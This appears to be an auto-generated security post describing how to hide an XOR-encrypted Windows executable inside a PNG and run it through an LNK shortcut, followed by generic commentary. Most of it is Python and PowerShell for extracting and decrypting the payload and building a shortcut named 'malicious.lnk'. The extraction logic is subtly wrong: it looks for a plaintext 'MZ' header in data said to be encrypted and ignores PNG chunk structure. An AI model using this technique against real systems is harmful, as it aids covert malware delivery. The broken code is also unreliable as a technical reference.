Extract and execute a PE embedded within a PNG file using an LNK file. The PE file is encrypted using a single-key XOR algorithm and then injected as an IDAT section to the end of a specified PNG file.
Tool Link: https://lnkd.in/ghHjmDWr
Practice Verified Codes and Commands:
1. Extracting PE from PNG:
Use a Python script to extract the embedded PE file from the PNG:
import struct
def extract_pe_from_png(png_file):
with open(png_file, 'rb') as f:
data = f.read()
pe_start = data.find(b'MZ')
if pe_start != -1:
pe_data = data[pe_start:]
with open('extracted.exe', 'wb') as f:
f.write(pe_data)
print("PE file extracted successfully.")
else:
print("No PE file found in the PNG.")
2. XOR Decryption:
Decrypt the PE file using a single-key XOR algorithm:
def xor_decrypt(data, key):
return bytes([b ^ key for b in data])
with open('extracted.exe', 'rb') as f:
encrypted_data = f.read()
decrypted_data = xor_decrypt(encrypted_data, 0xAA) # Replace 0xAA with the actual key
with open('decrypted.exe', 'wb') as f:
f.write(decrypted_data)
3. Creating LNK File:
Use PowerShell to create an LNK file that executes the decrypted PE:
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\path\to\malicious.lnk")
$Shortcut.TargetPath = "C:\path\to\decrypted.exe"
$Shortcut.Save()
What Undercode Say:
This article delves into the intricacies of embedding and executing PE files within PNG images, a technique that leverages steganography and file format manipulation. The process involves encrypting the PE file using a single-key XOR algorithm, injecting it into a PNG’s IDAT chunk, and then using an LNK file to execute it. This method can be used for both offensive and defensive cybersecurity purposes, such as penetration testing or malware analysis.
To further explore this topic, consider using tools like `binwalk` for file analysis and `steghide` for steganography. Additionally, mastering Linux commands like `xxd` for hex dumps and `grep` for pattern searching can enhance your ability to analyze such files. For Windows, commands like `certutil` for encoding/decoding and `wmic` for system information can be invaluable.
For more advanced techniques, refer to resources like OWASP and MITRE ATT&CK. These platforms provide comprehensive guides on attack vectors and defensive strategies. Always ensure ethical use of these techniques and adhere to legal guidelines.
By combining these tools and commands, you can build a robust skill set in cybersecurity, enabling you to detect, analyze, and mitigate such threats effectively.
References:
Hackers Feeds, Undercode AI
